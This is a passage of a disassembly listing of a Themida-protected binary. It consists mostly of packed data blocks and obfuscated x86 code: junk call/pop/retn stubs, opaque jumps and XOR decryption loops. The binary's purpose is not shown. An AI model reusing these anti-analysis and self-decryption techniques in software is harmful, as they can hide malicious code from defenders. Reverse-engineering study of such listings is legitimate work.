dd 0A42B7727h, 0D2AC312h, 45A12324h, 0E2BDE9BCh, 3E8D48E1h
dd 0CE522D84h, 856C4FD4h, 3786DF80h, 2636A24h, 2CD9285Ch
dd 0FF92DD32h, 568A71D5h, 52B1FAA6h, 81DFDBA5h, 33600C90h
dd 5FC80AEh, 71ECDC7Ah, 0EC93838Ah, 51A88D9Fh, 43FD537Eh
dd 26D8ED3Ch, 32EBF4A7h, 5811C024h, 0FA50147Ah, 8D4F2C51h
dd 0F6A512B1h, 0E742849h, 0CC000004h, 3B5EA95Ah, 0AB17C845h
dd 8676FCB6h, 4C16F3CBh, 0A19155h, 163CC5F0h, 341B235Fh
dd 0E6BA3952h, 55AE6C17h, 1BF81DD9h, 0AF3CB2A3h, 0BC6E665Fh
dd 743D6915h, 0A6607300h, 6C3F9AFAh, 0DE92C79Bh, 0BC766B70h
dd 0C63D6915h, 0BA145739h, 1D948096h, 0DA0E21CEh, 57478A99h
dd 361C7D16h, 0FA45F4Eh, 2EE0F629h, 0BFF9A753h, 27D6259Eh
dd 0A9557C2Eh, 0AFF6FF08h, 0BB6B90ADh, 0ECA6B544h, 0B81546B7h
dd 86A52C4Bh, 81DC2984h, 4E02B0CFh, 1AB96B61h, 26C2386Ch
dd 6A6934BEh, 644D167h, 62750000h, 0BE12E3B0h, 675E4F04h
dd 0B70DE0B5h, 6D5D5005h, 0A68EDEB3h, 6035EFE3h, 0CD823C8Dh
dd 5F34E6E0h, 0CE833D8Eh, 61F07BCEh, 0F41DDF41h, 1A48AE5Ah
dd 1AE08B62h, 0CD1DD856h, 345EF17Eh, 7F711B8h, 0F6E5345Bh
dd 0F9EA953Ch, 18CD7140h, 0DA8807C1h, 76CC3786h, 7117C844h
dd 8BBF2E85h, 0E6D590D1h, 0AAE7A95h, 53F2F3EFh, 0A76DD160h
dd 0D798840Bh, 4C82DDEEh, 1B47F39Ah, 4A0455A4h, 0BDD69743h
dd 22A15B70h, 0D59029B8h, 397CC86h, 0C4A48E9Dh, 2D88Ch
dd 1A48D400h, 8BDC8B62h, 9231EBDEh, 457E11E4h, 27D717C8h
dd 3D798186h, 2F21DDFh, 9EAD3CABh, 4C7E11E4h, 84D711B1h
dd 0B14C58F7h, 4511FD11h, 85AA71Ch, 0DDE49EADh, 0BD306531h
dd 5FACD38Dh, 11B14BCBh, 0B56F620Fh, 0C63F600Eh, 6D273A95h
dd 0BE49B866h, 11B14B9Bh, 2096CABAh, 0DC0A16EAh, 47FD9316h
dd 78000005h, 5F8AD5Fh, 794C19D3h, 10DDB264h, 604D02B4h
dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch
dd 0E592E1C3h, 1DDF4252h, 48B56503h, 348FC11Ah, 683C681Ah
dd 3DD6EE99h, 0E9951DDFh, 3CA4FD1Ah, 57F0F701h, 0F4BD776Ah
dd 90DF90DFh, 0B22A54E3h, 0A2150111h, 11B2298Fh, 6C2635C6h
dd 0C4EDB965h, 0B581241h, 0D0EFA9BAh, 8AF55281h, 11B229E7h
dd 0ABD27E6Eh, 6C19D443h, 0BC51C77h, 12980A57h, 3BE99D3h
dd 1E5h, 4D075C47h, 2AE4F746h, 0B6CE7475h, 0F2A4BA47h
dd 857E1FCBh, 0D85AE0FAh, 0F897871Dh, 239CECA7h, 3A4D3B29h
dd 5E396D27h, 415146F4h, 4BBCE5CBh, 11B81C28h, 0E5EC9EB6h
dd 0F4EA3D98h, 226F0E42h, 0A14D742Eh, 0E0F6AF24h, 0DF944D04h
dd 594DF90h, 5011B81Ch, 1C3E51A4h, 671711B8h, 0DD369C46h
dd 3D27BE93h, 7B000000h, 0B2AB5Ah, 0C8E99BB3h, 32810529h
dd 0D84543C5h, 4948341Dh, 0B84457FEh, 30C97811h, 93B8CC52h
dd 4195E4BEh, 37F07FECh, 0B96511B8h, 0C66916EDh, 8F11B837h
dd 0C81EBEDFh, 62000000h, 0FFB1AB5Ah, 0BA74675Eh, 0C833C413h
dd 17C844A9h, 269FC0ACh, 6537A34h, 25741BD5h, 0B2ED936h
dd 4A17C845h, 6E59065Ah, 17C84995h, 673CF6E5h, 59A8DC82h
dd 0DAF509AEh, 144D481Dh, 0D385BF82h, 0D73B7770h, 95C5348Bh
dd 5A3586DBh, 174BB13h, 0C318EDC4h, 93DC8A09h, 90662032h
dd 0DC060524h, 0AFBB5150h, 0E0000003h, 8D6035E7h, 0E1D4813Bh
dd 98653AECh, 0E8D58A3Ch, 196B38F2h, 0BA746629h, 7C118E5h
dd 0C1736B5Ah, 78322194h, 0CD3AC92Bh, 1DDF43AAh, 5C5D4DABh
dd 3B5EA906h, 0AB17C845h, 732301B3h, 0D21FD01Fh, 5CFBC680h
dd 1C17C845h, 0A3AB3E12h, 96E54B5Bh, 0C88C46E9h, 335F0F17h
dd 99CA3B6Ah, 5CE8B2DFh, 99764D07h, 25448CA3h, 32E4E039h
dd 47963D5Eh, 16635A14h, 0DC8A09C3h, 63CFD293h, 33E7A41Bh
dd 767D3413h, 0B03BC8E9h, 1DD8F8EAh, 217211FDh, 4E543166h
dd 0AE0336ABh, 4CBBE496h, 11B9162Bh, 0E4EB9DB7h, 38A4495h
dd 4A5C1586h, 378EDB5Ah, 2EC7DC85h, 3887FF63h, 0C91FF5CBh
dd 0AB02F217h, 0F700E6D0h, 640D37A9h, 0B641B201h, 0BA92EA3h
dd 7B2D21B2h, 0B1FAA654h, 4D075CF9h, 1BCD0776h, 0EEA5C674h
dd 9DF2AC9Fh, 7F6E163Ch, 0A928DAF2h, 67549AFDh, 15C781E9h
dd 0F60C774Ch, 711DD86Dh, 9AB1FE85h, 3511B842h, 890FE37Eh
dd 78BE93B5h, 2Eh, 621A48D0h, 45E2E08Bh, 67241DD8h, 90F1C8Eh
dd 80F4BD0Dh, 8BA2ED94h, 4411B855h, 98FED48Dh, 89BE93A6h
dd 0BEh, 0DD97CB3Ah, 75CD694h, 0E3F7464Dh, 281E971Ah, 0F4A0D00Ch
dd 914B80CDh, 0F6B0A3F2h, 0B1AB5AA9h, 0C42F80FFh, 17C850B5h
dd 0FFA0F4A0h, 0C8563308h, 5A144717h
dd 0E9A3B805h, 0A3DB87EAh, 0A0E09B4Ch, 0C59AB570h, 839FCE3h
dd 6BFB034Dh, 76DBC542h, 20CC1DD8h, 0BCC06E73h, 80FBA45h
dd 463617CBh, 1ED80A77h, 944E8471h, 15CBE816h, 972D2CE2h
dd 1FEh, 3966182Fh, 85DA94CCh, 366B1D38h, 86DB8DC7h, 3C692337h
dd 0A5B57848h, 1247B6EBh, 0A4BA0B58h, 0FB509DF2h, 41901441h
dd 0DF45A3B6h, 6414B21Dh, 174C065Ch, 78D5E7A4h, 96DA956Ah
dd 0C88246E9h, 335F0F17h, 8E489B6Ah, 0A95A99C1h, 0C8453B5Eh
dd 936A1A17h, 0C84549E8h, 3F600C17h, 9F88CB2h, 20D20B7Ah
dd 5BACF5A1h, 1DD845CDh, 88D3FAAAh, 11B844E5h, 9BA73EAh
dd 456A0D7Ah, 3BEB11B8h, 0B7EA7072h, 502BE93h, 0C918E05Fh
dd 98446D63h, 0CBh, 4D075CF0h, 29E3F746h, 4A045DAAh, 57417C8h
dd 0AE6879D4h, 902F630Fh, 174CB9E2h, 0A6B5085Dh, 0DE84E5ECh
dd 57A857A6h, 0C83F8DACh, 52045917h, 7BD320CCh, 391FA8C9h
dd 6E1DD853h, 8FC22F7Eh, 0D8D98CD5h, 509B126Ah, 17CAE25Ah
dd 631D2DBCh, 87EDAE5Ch, 226B2897h, 2D803BACh, 0B140C3ECh
dd 6918E7A1h, 83F0BF79h, 0BA63DF4h, 0B9ECB561h, 5E5C164Ch
dd 0E215254Ah, 0EB55EB6Eh, 1C000000h, 714411C3h, 0FDF0A55Fh
dd 7C4916C8h, 14E1AE60h, 0DD4F04BEh, 86409215h, 3BF5ECD9h
dd 8D3F9766h, 3CF6E5D8h, 89F68567h, 1DDF46E6h, 5C29D16Fh
dd 0A6174C06h, 0AF045AB5h, 0C8453544h, 20742017h, 451326D1h
dd 524217C8h, 5C0951FEh, 0F7464D07h, 74752AE4h, 0BC47B6CEh
dd 1DDF3D24h, 0E1F5403Fh, 0A608464Ah, 5586D3FAh, 0E4F7C69Bh
dd 0A354A32Ah, 0B2313958h, 2F701C11h, 175623D8h, 39F46731h
dd 269D578Ch, 85468469h, 4CA257FAh, 330EFEF2h, 0B2FB4093h
dd 17D102F3h, 4E0859A8h, 0B9DA832Fh, 0BFBE706Ch, 78036072h
dd 0F24CE8D9h, 0BDC4907Ch, 1CA35570h, 0DB8A23B2h, 0CE99CD87h
dd 7A691CD5h, 312293C0h, 1FC05877h, 21000000h, 0C7C678D4h
dd 0EB18521Bh, 0C71A6718h, 4497BA0Dh, 0A24D17C8h, 17C8448Fh
dd 0AC58D6C6h, 35CA703h, 0F0E33251h, 144A9736h, 0BB0E5B62h
dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h
dd 56945170h, 0C6815E54h, 4, 8704EE83h, 565C2434h, 0C681E689h
dd 4, 4EE81h, 34870000h, 0C895C24h, 4B5C6824h, 3C890000h
dd 0B7BE5624h, 0C140372Ah, 0D6F703EEh, 8305EEC1h, 0C681FFEEh
dd 0FE573016h, 545EF189h, 83243C8Bh, 6F6804C4h, 8900004Ah
dd 8B82404h, 1000000h, 580889F8h, 5F2434FFh, 8B04C483h
; ---------------------------------------------------------------------------
or al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_55FF58
; ---------------------------------------------------------------------------
dw 3C23h
dd 24C287A4h
; ---------------------------------------------------------------------------
sub ah, 31h
loc_5BB847: ; CODE XREF: Themida_:loc_5BAD0Cj
mov eax, 6170350h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 18BEBD69h, 57AF6DB9h, 325BFC38h, 4BBBC928h, 3DD92A9Bh
dd 64D8E4CEh, 5AEB6F8Ch, 3750FBA6h, 5962157Eh, 10EEE310h
dd 3F0DFB6h, 271427BCh, 384ED538h, 6CC3B455h, 3F5ED3CBh
dd 4035F14Bh, 6F635A60h, 1F35633Ah, 4EBD3B9Ch, 51FFC548h
dd 1B56B7Ah, 0A43EC8Bh, 68D903F9h, 76B89713h, 5258D8Dh
dd 0B5890617h, 6102859h, 9F58D89h, 6A0610h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 928AFFC3h
dd 231985C7h, 66D40610h, 9D8B0000h, 61013C5h, 1069BD8Bh
dd 85C70610h, 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5BB90B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB90B proc near ; CODE XREF: Themida_:005BB903p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BB90B endp
; ---------------------------------------------------------------------------
fmulp st(2), st
mov ds:0D5C1FB56h, al
jnp short loc_5BB98C
jnp loc_5BB930
mov [ebp+6103335h], edi
loc_5BB930: ; CODE XREF: Themida_:005BB924j
push dword ptr [ebp+61004E9h]
push 0
push ecx
call sub_5BB941
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB941 proc near ; CODE XREF: Themida_:005BB939p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5BB941 endp
; ---------------------------------------------------------------------------
db 26h, 27h, 4Bh
; ---------------------------------------------------------------------------
sub al, 16h
db 36h
pop ebx
cmpsd
mov [ebp+61006D1h], eax
call dword ptr [ebp+6102DB9h]
push 0
push edi
call sub_5BB970
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB970 proc near ; CODE XREF: Themida_:005BB968p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BB970 endp
; ---------------------------------------------------------------------------
or [ebp+22h], edx
pop eax
xchg eax, esi
js short loc_5BB9FD
lodsd
jmp short near ptr dword_5BB9F4
; ---------------------------------------------------------------------------
dw 0FF00h
; ---------------------------------------------------------------------------
loc_5BB98C: ; CODE XREF: Themida_:005BB922j
xchg eax, ebp
leave
xor [eax], edx
push es
mov eax, eax
jmp short loc_5BB9AD
; ---------------------------------------------------------------------------
db 0Ah, 0B3h, 19h
dd 0D3CC78DCh, 0D6AF5FA7h, 0E06071BDh, 0FC3F688h, 0E2A608A9h
db 0C1h
; ---------------------------------------------------------------------------
loc_5BB9AD: ; CODE XREF: Themida_:005BB993j
lea ecx, [ebp+617063Fh]
push 0
push ebx
call sub_5BB9BE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BB9BE proc near ; CODE XREF: Themida_:005BB9B6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BB9BE endp
; ---------------------------------------------------------------------------
dw 0F5E9h
dd 0AF89788Fh, 0B70F3850h, 0F58D89F2h, 6A061009h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dword_5BB9F4 dd 45000000h, 0DCEAC355h ; CODE XREF: Themida_:005BB988j
db 0A3h
; ---------------------------------------------------------------------------
loc_5BB9FD: ; CODE XREF: Themida_:005BB985j
popa
ror byte ptr ds:814F34D7h, 1
iret
; ---------------------------------------------------------------------------
test byte ptr [esi+56h], 6
mov dword ptr [ebp+6102319h], 6380h
push 0
push ecx
call sub_5BBA1E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBA1E proc near ; CODE XREF: Themida_:005BBA16p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5BBA1E endp
; ---------------------------------------------------------------------------
dw 2923h
dd 58CFC68Bh, 80944CFDh, 0F1BBEEF3h, 0C7739155h, 1022C185h
dd 6, 8BE7B400h, 10167185h, 89B5FF06h, 8B06101Dh, 0B995FFF9h
dd 6A06102Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0BEFC352h, 98AF010Fh, 774DE174h
dd 14E9h, 0A0AC1C00h, 372C1A7Ch, 711B1F9Bh, 0D93A7796h
dd 63EF2378h, 1D95232Dh, 6A061002h, 0C995FF00h, 8B061031h
dd 822DEBC0h, 0BD04B873h, 0FCCB6827h, 0F848FAC6h, 0A2D0B01Ah
dd 69CC6ED4h, 8DD8E6h, 8546AE49h, 0B04D103Bh, 0CEBA1C6Dh
dd 0FC7B39BDh, 0E9B2D496h, 7468D8Dh, 6A0617h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 7FB844C3h
dd 89F78B66h, 1009F58Dh, 1985C706h, 2C061023h, 80000060h
dd 85C78FF7h, 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5BBB2B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBB2B proc near ; CODE XREF: Themida_:005BBB23p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BBB2B endp
; ---------------------------------------------------------------------------
sub [eax+62563BD3h], esp
retn 0B731h
; ---------------------------------------------------------------------------
push dword ptr [ebp+61004E9h]
push 0
push esi
call sub_5BBB55
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBB55 proc near ; CODE XREF: Themida_:005BBB4Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_5BBB55 endp
; ---------------------------------------------------------------------------
mov ch, 3Bh
pusha
retf 0C3B4h
; ---------------------------------------------------------------------------
call dword ptr [ebp+6102DB9h]
push 0
push ebp
call sub_5BBB7C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBB7C proc near ; CODE XREF: Themida_:005BBB74p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BBB7C endp
; ---------------------------------------------------------------------------
mov ebp, 674C1612h
jmp small loc_5BBBA8
; ---------------------------------------------------------------------------
db 2 dup(0), 26h
dd 0F81297AAh, 65139864h, 0BCF6CBEAh, 0C76F1EF8h
; ---------------------------------------------------------------------------
loc_5BBBA8: ; CODE XREF: Themida_:005BBB91j
or al, 0DFh
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5BBBCE
; ---------------------------------------------------------------------------
dw 0D4Dh
dd 0DA282172h, 200BF2D6h, 0B049EA53h, 0C6B1BA9h, 5B59703h
; ---------------------------------------------------------------------------
db 67h
dec ecx
loc_5BBBCE: ; CODE XREF: Themida_:005BBBB4j
call sub_5BBBDB
adc ch, dl
test [edx], ch
mov ss, bp
adc bh, [esi]
; =============== S U B R O U T I N E =======================================
sub_5BBBDB proc near ; CODE XREF: Themida_:loc_5BBBCEp
or [ebp+6102399h], esi
pop eax
sbb edx, 2AFA599Ah
add eax, 6CB4h
jle loc_5BBBFA
or [ebp+6101F55h], ebx
loc_5BBBFA: ; CODE XREF: sub_5BBBDB+13j
push 1B06h
mov [ebp+6100EB5h], edx
pop edi
mov bx, 6CBAh
loc_5BBC0A: ; CODE XREF: Themida_:005BBC6Cj
mov esi, [eax]
movzx ecx, ax
xor esi, 307D6FD9h
mov ebx, [ebp+6101375h]
xor esi, 136C8FABh
mov [ebp+6100D91h], edx
sub esi, 2003D983h
or bl, 2Dh
push esi
mov [ebp+6100619h], ebx
pop dword ptr [eax]
mov ecx, ebx
sub eax, 2
call near ptr loc_5BBC48+4
loc_5BBC43: ; CODE XREF: sub_5BBBDB:loc_5BBC43j
; DATA XREF: Themida_:0054C1FCo
jge short loc_5BBC43
rep sub ah, [ebx]
loc_5BBC48: ; CODE XREF: sub_5BBBDB+63p
mov eax, ds:89FFC0B9h
sub_5BBBDB endp ; sp-analysis failed
mov ebp, 61007D5h
pop edx
dec eax
dec eax
jmp loc_5BBC66
; ---------------------------------------------------------------------------
dw 7181h
; ---------------------------------------------------------------------------
sbb al, 9Eh
cmp esi, esp
push 0FE932D80h
dec ecx
loc_5BBC66: ; CODE XREF: Themida_:005BBC55j
sub edi, 1
jnz loc_5BBC0A
cmc
call near ptr loc_5BBC7E+3
mov cl, 0B2h
inc esp
xchg ch, [edx+1Fh]
loc_5BBC7E: ; CODE XREF: Themida_:005BBC73p
adc [ecx-72727458h], ah
add [eax], dl
push es
pop edi
adc bh, 3Ah
add edi, 5A35h
mov [ebp+6101FFDh], ecx
mov edx, 5D08FD0h
xor edx, 5D099B2h
sbb bx, 5FADh
loc_5BBCA7: ; CODE XREF: Themida_:005BBD1Cj
mov esi, [edi]
mov [ebp+6100845h], edi
xor esi, 1765E1BDh
mov eax, [ebp+6102299h]
sub esi, 2C5C1242h
jle loc_5BBCCD
mov ebx, [ebp+6100A21h]
loc_5BBCCD: ; CODE XREF: Themida_:005BBCC1j
add esi, 16375BE4h
and cl, 9
mov [edi], esi
mov [ebp+6101DD1h], eax
sub edi, 2
jbe loc_5BBCEF
jnp loc_5BBCEF
push eax
pop ebx
loc_5BBCEF: ; CODE XREF: Themida_:005BBCE1j
; Themida_:005BBCE7j
dec edi
dec edi
mov [ebp+610327Dh], esi
sub edx, 1
jnz loc_5BBD18
and eax, [ebp+6100BB5h]
jmp loc_5BBD29
; ---------------------------------------------------------------------------
div dh
xor [ebx], eax
sub dl, [ebx+548F814Dh]
loc_5BBD18: ; CODE XREF: Themida_:005BBCFDj
mov bx, 5226h
jmp loc_5BBCA7
; ---------------------------------------------------------------------------
db 5Eh, 0Fh, 1Ah
; ---------------------------------------------------------------------------
mov ebp, 6B3C38EDh
loc_5BBD29: ; CODE XREF: Themida_:005BBD09j
lea ecx, [ebp+6170960h]
mov [ebp+610239Dh], edi
mov [ebp+61009F5h], ecx
xor [ebp+6102A95h], ebx
mov edi, eax
mov dword ptr [ebp+6102319h], 6A0Ch
mov [ebp+610228Dh], edi
mov dword ptr [ebp+61022C1h], 0
push 0
push edi
call sub_5BBD68
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD68 proc near ; CODE XREF: Themida_:005BBD60p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5BBD68 endp
; ---------------------------------------------------------------------------
sbb al, 3Bh
sub [ebx+5Dh], edx
inc edi
pop esp
cmp al, 0AFh
stc
push dword ptr [ebp+610232Dh]
push 0
push ebp
call sub_5BBD93
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBD93 proc near ; CODE XREF: Themida_:005BBD8Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5BBD93 endp
; ---------------------------------------------------------------------------
rcl edx, 1
cmp [ebx], bl
mov [ebx], ch
sar dl, cl
mov edi, [ebp+6102D9Dh]
cld
call dword ptr [ebp+6102DB9h]
jo loc_5BBDC4
xor esi, [ebp+6100115h]
loc_5BBDC4: ; CODE XREF: Themida_:005BBDB8j
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5BBE49
; ---------------------------------------------------------------------------
dd 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h, 14F8A24Ch
dd 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h, 0E251FB46h
dd 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h, 68D26195h
dd 4D1A3CCh, 0F27D6044h, 48722AE0h, 8CDE20E0h, 84E8CD6h
dd 594DDB55h, 881F927Fh, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h
dd 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h, 0F320EB11h
; ---------------------------------------------------------------------------
movsb
loc_5BBE49: ; CODE XREF: Themida_:005BBDCEj
lea ecx, [ebp+6170A9Dh]
push 0
push eax
call sub_5BBE5A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE5A proc near ; CODE XREF: Themida_:005BBE52p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5BBE5A endp
; ---------------------------------------------------------------------------
icebp
mov si, 83B0h
mov [ebp+61009F5h], ecx
push 0
push ebx
call sub_5BBE80
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBE80 proc near ; CODE XREF: Themida_:005BBE78p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5BBE80 endp
; ---------------------------------------------------------------------------
or ebx, [eax-7FBBD9E0h]
retn
; ---------------------------------------------------------------------------
db 0DBh
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6102319h], 5E24h
stc
mov dword ptr [ebp+61022C1h], 0
push 0
push ecx
call sub_5BBEB8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BBEB8 proc near ; CODE XREF: Themida_:005BBEB0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5BBEB8 endp
; ---------------------------------------------------------------------------
dd 67BAE7F9h, 0B5FFF674h, 6101B25h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 8C35343h, 1BB703BDh, 0FB8B866h
dd 2DB995FFh, 0BF0F0610h, 0FF006AC3h, 1031C995h, 0EBC08B06h
dd 86D9E019h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h
dd 0A02F7090h, 8D8DC6D9h, 6170B2Fh, 89E3C480h, 1009F58Dh
dd 0C78CB606h, 10231985h, 6CD406h, 68D0F00h, 81000000h
dd 0A2B23FF3h, 0C185C772h, 61022h, 0F000000h, 388h, 0FFB70F00h
dd 0EA5B5FFh, 0BF0F0610h, 0B995FFC1h, 6A06102Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 56F6C357h, 31C19589h, 6A580610h, 0C995FF00h, 8B061031h
dd 2A1AEBC0h, 0AD6136ACh, 4FF4259Ch, 0B5F2368h, 562C8B1Fh
dd 3F55C49Dh, 679FC019h, 0FE883h, 0AF800000h, 6B4F8DA1h
dd 7446EF40h, 4A0A407h, 880F65h, 58000000h, 816DD780h
dd 67EEC0h, 0DCBAF900h, 8B000019h, 2BE6608h, 7EE981F5h
dd 8A303840h, 77C181F9h, 8B28DB84h, 1015F59Dh, 92E98106h
dd 0F5A4AACh, 0C89h, 68C0F00h, 0F000000h, 81h, 0BF0F5100h
dd 81008FFFh, 0BE79BE8h, 19D8B04h, 81061024h, 0BE797C0h
dd 0EDB58904h, 4A06100Dh, 0FFA9850Fh, 8529FFFFh, 61006A1h
dd 0CA88D8Dh, 81660617h, 898DCAE7h, 1009F58Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 7782F18Dh, 48896B86h, 0E7802621h, 85C7F58Bh, 6102319h
dd 6EE4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0FEC35141h, 6542C434h, 95898A23h, 6100F2Dh, 22C185C7h
dd 610h, 8D310000h, 610327Dh, 11EDB5FFh, 0E9600610h, 14h
dd 0DD4CD498h, 49DB912Bh, 60734AE7h, 0DE4ECA92h, 0AB268152h
dd 6AF18151h, 5B166E2Ch, 0B995FF61h, 6A06102Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 4459C357h, 0F82C8927h, 95FF006Ah, 61031C9h, 68EBC08Bh
dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h
dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8C66B3A9h
dd 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h, 0D7D1544Dh
dd 2A16AE8h, 87210B79h, 7B132679h, 8680BB3Eh, 0BB92639Eh
dd 0C60194A4h, 0F2A94955h, 0BDC11374h, 770932C2h, 7332FC37h
dd 0E02D2768h, 0AE8h, 0FF46B800h, 0BB6F4236h, 58DDB6A3h
dd 11E99D23h, 0C0810610h, 6882h, 2BD2BF0Fh, 19533FFh, 0FF061001h
dd 0BE90734h, 51000000h, 0E9B68D7h, 657914C6h, 8A59E8E8h
dd 10E981FDh, 6057A982h, 0DD19D89h, 0B58B0610h, 61013E1h
dd 35E98161h, 8B348E5Ch, 101C89B5h, 46E98106h, 8B7923FEh
dd 10348D9Dh, 0B5895106h, 6100715h, 0E938048Fh, 11h, 0B5AEF67Dh
dd 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah, 49B5898Fh, 81061009h
dd 0AB89E6EFh, 9D09606Bh, 61008C1h, 0C78161F9h, 6BAB89E2h
dd 0CAEB8160h, 615145F7h, 9854FF81h, 850FFFFFh, 0Dh, 0E9F38B66h
dd 1Fh, 98C78BB8h, 4985891Ch, 0E9061009h, 0FFFFFF57h, 1A0C7A3h
dd 0E3A3565Ah, 0AEF52EF7h, 0E8C0DA3Ah, 12h, 1B4893B7h
dd 702DF7F8h, 49E80C62h, 0FA26DC6h, 8B50E73Eh, 10084D9Dh
dd 505E5806h, 880F57h, 58000000h, 4CC6815Bh, 3100006Ch
dd 101E819Dh, 1AE36806h, 858B0000h, 6102321h, 0E9606059h
dd 9, 53DF443h, 2B8CC93Fh, 8B0F26h, 61000000h, 6880Fh
dd 0D7810000h, 77288C1Dh, 0E936FF61h, 0Dh, 88268C4Eh, 9E1DC3CCh
dd 76AACFC8h, 8B605AEFh, 1008E595h, 0D18D8B06h, 61061019h
dd 0B5E8F281h, 8A0F5ED9h, 5, 0FACFBFBBh, 0C9F28178h, 8B1D0E38h
dd 100E4D9Dh, 97F28106h, 53064363h, 0C5705ABFh, 16895F4Ch
dd 5919D29h, 0EE830610h, 5B86604h, 850F49FEh, 0FFFFFF9Dh
dd 2CE9h, 2A224400h, 2Ah, 9 dup(0)
dd 5BCE900h, 8F3F0000h, 6309904Ch, 8429B02Ch, 63088F4Bh
dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h, 8E4A8529h
dd 0AF2B6007h, 79C9C0BCh, 9D6BDB72h, 79327440h, 97395044h
dd 8E3408BDh, 0D7536F53h, 0A760DB05h, 0F3A27E72h, 6DCC7C4Fh
dd 0FFEF2AE0h, 0C2FFA423h, 40752EA5h, 46F1DA54h, 5A3619A4h
dd 0D1711832h, 356DCCF0h, 0F0972439h, 0E675C7BBh, 130F0342h
dd 90C77D36h, 5BFAC9E4h, 3105BC7Fh, 0D551457Ah, 0A85FDCF1h
dd 8A40B773h, 0A65CDB4Fh, 0F6C5B76Bh, 7D361352h, 978BCCh
dd 66651148h, 0FC37EBBFh, 0F6AD2CD8h, 4AE99AC1h, 8E25DC86h
dd 14C803A7h, 0D7A9DE85h, 6F235E04h, 111C42EAh, 92AE8DB2h
dd 25A2C9B5h, 0EA6DCC6Bh, 0EEBF3AD9h, 0CE336B1Eh, 47h
dd 4479323Ch, 7CBB0950h, 0F0846DCCh, 7CA71B0Eh, 0E33F6DCCh
dd 5B9E3506h, 336B3592h, 172h, 7A32D800h, 5EDD4F43h, 0DB574ABh
